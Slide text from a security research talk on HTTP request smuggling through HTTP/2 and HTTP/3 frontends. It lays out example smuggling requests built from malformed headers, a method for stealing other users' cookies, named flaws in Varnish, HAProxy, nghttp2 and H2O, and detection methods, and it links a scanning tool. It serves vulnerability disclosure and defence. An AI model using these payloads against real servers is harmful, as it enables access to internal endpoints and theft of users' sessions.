HTTP Request Smuggling via higher HTTP versions

Emil Lerner HTTP Request Smuggling via higher HTTP versions

Emil Lerner independentsecurityresearcher CTO at WunderFund.io Bushwhackers CTF team @emil_lerner @neex

HTTP Client Server HTTP Response HTTP Request

Reverse proxy HTTP Response HTTP Request Client HTTP Response HTTP Request Frontend Server Backend Server

HTTP keep-alive HTTP Response 1 HTTP Request 1 HTTP Response 2 HTTP Request 2 Client Server

HTTP/1.1 body transfer Content-Length header Content-Length: 100 Here goes 100 bytes of the request body. Transfer-Encoding: chunked ff 10 0 Here goes 255-byte chunk Another chunk Chunked encoding

HTTP keep-alive (to backend) HTTP Response 1 HTTP Request 1 HTTP Response 1 HTTP Request 1 HTTP Response 2 HTTP Request 2 HTTP Response 2 HTTP Request 2 Single backend connection Client2 connection Client1 connection Client1 Client2 Frontend Server Backend Server

HTTP Request Smuggling Old & known attack Gained a lot of attention after James Kettle's talk on BH USA 2019 He discovered a lot of new techniques

HTTP Request Smuggling An attacker sends a malicious request It is parsed as a single request by the frontend and is forwarded to the backend Backend parses it as two separate requests

POST / HTTP/1.1 Content-Length: 100 0 Transfer-Encoding : chunked GET /internal HTTP/1.1 ... Frontend interprets this Backend interprets this Frontend thinks it's body Backend thinks it's another request HTTP Request Smuggling

HTTP Request Smuggling It's all about Content-Length / Transfer-Encoding Transfer-Encoding has precedence We need to "smuggle" Transfer-Encoding to backend unprocessed by the frontend

HTTP Request Smuggling POST / HTTP/1.1 Content-Length: 100 Transfer-Encoding: identity, 0 chunked GET /internal HTTP/1.1 ... Frontend interprets this Backend interprets this Frontend thinks it's body Backend thinks it's another request

Exploitation Accessing internal endpoints Cache poisoning Stealing other users’ requests

Exploitation: stealing requests Attacker→Frontend Victim→Frontend GET / HTTP/1.1 ... POST /save HTTP/1.1 Transfer-Encoding : chunked GET / HTTP/1.1 Cookie: secret GET / HTTP/1.1 Transfer-Encoding : chunked ... POST /save HTTP/1.1 data=GET / HTTP/1.1 Cookie: secret Frontend→Backend

Exploitation: stealing requests The victim's request is appended to ours Most frameworks are OK with newlines in forms Victim's cookies are saved to our profile, PMs or other places where we can view them later

HTTP/2 overview Widely adopted by now Binary protocol (no special chars) Almost always terminated at frontend

HTTP/2 termination :status 200 PRI * HTTP/2.0 <binary> :method GET HTTP/1.1 200 OK GET / HTTP/1.1 Frontend Backend Client

HTTP/2 body transfer Request body is transferred in binary frames Content-Length not required, but allowed Transfer-Encoding: chunked has no effect

Potential bug #1: content-length conflicts actual length Client→Frontend :method POST :authority host.com XGET /internal HTTP/1.1 ... content-length: 1 POST / HTTP/1.1 Host: host.com Content-Length: 1 XGET /internal HTTP/1.1 ... Frontend→Backend body

Potential bug #2: no content-length forwarding Client→Frontend :method :authority host.com GET /internal HTTP/1.1 GET GET / HTTP/1.1 Host: host.com GET /internal HTTP/1.1 Frontend→Backend body

Potential bug #3: content-length conflicting transfer-encoding Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding: chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer-Encoding: chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body

HTTP/2 header validation Headers names and values are binary strings Names and values can contain newlines Names can contain colons

Potential bug #4: newlines in headers Client→Frontend :method GET :authority host.com x: ... ⏎⏎GET /internal HTTP/1.1 GET / HTTP/1.1 Host: host.com X: GET /internal HTTP/1.1 ... Frontend→Backend

Potential bug(s) #5: less strict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding : chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 transfer-encoding : chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body

Potential bug(s) #5: less strict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer_encoding: chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer_Encoding: chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body

Potential bug(s) #5: less strict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding: chunKed POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer-Encoding: chunKed 0 GET /internal HTTP/1.1 ... Frontend→Backend body

What does the RFC say? RFC 7540 mentions Intermediary Encapsulation Attacks in 10.3 Basically says "implementation must reject things it can't handle" :) Explicitly mentions newlines and x00

Detection idea #1: make backend expect more data Craft a request such that Backend expects more data Frontend thinks it sent the whole request The request will hang Implemented in James Kettle's Burp plugin (for HTTP/1.1)

Detection idea #1: make backend expect more data :method POST content-length: 5 h:⏎transfer-encoding:chunked fff Frontend interprets this Backend interprets this Frontend thinks body is finished Backend expects more data and hangs

Chunked encoding should never be parsed in HTTP/2 If the response depends on the chunked encoding validness, it is a possible vulnerability There're some false positives Detection idea #2: chunked body parsing

Detection idea #2: chunked body parsing :status 400 :method POST invalid chunked body transfer-encoding : chunked HTTP/1.1 400 POST / HTTP/1.1 transfer-encoding : chunked invalid chunked body Frontend Backend Client

Detection idea #3: content-length parsing Send something like x:x⏎content-length:1000 If the response depends on the value, it's a possible vulnerability Even more false positives :(

False positive scenario HTTP/2 HTTP/2 termination HTTP/1 processing HTTP/1.1 Frontend Backend Client

Varnish flaw Client→Varnish :method GET :authority host.com GET /internal HTTP/1.1 ... content-length: 0 GET / HTTP/1.1 Host: host.com content-length: 0 GET /internal HTTP/1.1 ... Varnish→Backend body

Potential bug #6: RFC 8441 Designed for WebSockets over HTTP/2 A client sends CONNECT method and sets the :protocol special header Intermediary translates it to Upgrade

Haproxy & nghttp2 flaws Client→Frontend :method :authority host.com GET /internal HTTP/1.1 ... CONNECT :protocol websocket GET / HTTP/1.1 Host: host.com Connection: upgrade Upgrade: websocket GET /internal HTTP/1.1 ... Frontend→Backend body

Open problem: one-way size discrepancy Attacks work if the backend reads less data than the frontend Detection methods work if the backend expects more data What if the first is achievable, but the second is not possible?

Client→Frontend Frontend→Backend H2O http3 (QUIC) flaw :method POST content-length: 100 0 GET /internal HTTP/1.1 ... x:x⏎transfer-encoding:chunked POST / HTTP/1.1 Content-length: 100 X: x Transfer-Encoding: chunked 0 GET /internal HTTP/1.1 ... body

Automation I've implemented http2smugl tool It performs automatic vulnerability detection using the discussed methods Also it supports sending "invalid" queries via custom HTTP/2 implementation

Further research needed HTTP/1 special headers, writing to closed streams, HPACK and >40 implementations not researched Stable detection methods wanted Putting space + path into :method can lead to hitting internal endpoints and Host override

Thank you! https://github.com/neex/http2smugl

HTTP Request Smuggling via higher HTTP versions

In this document

More Related Content

What's hot

Similar to HTTP Request Smuggling via higher HTTP versions

Recently uploaded

HTTP Request Smuggling via higher HTTP versions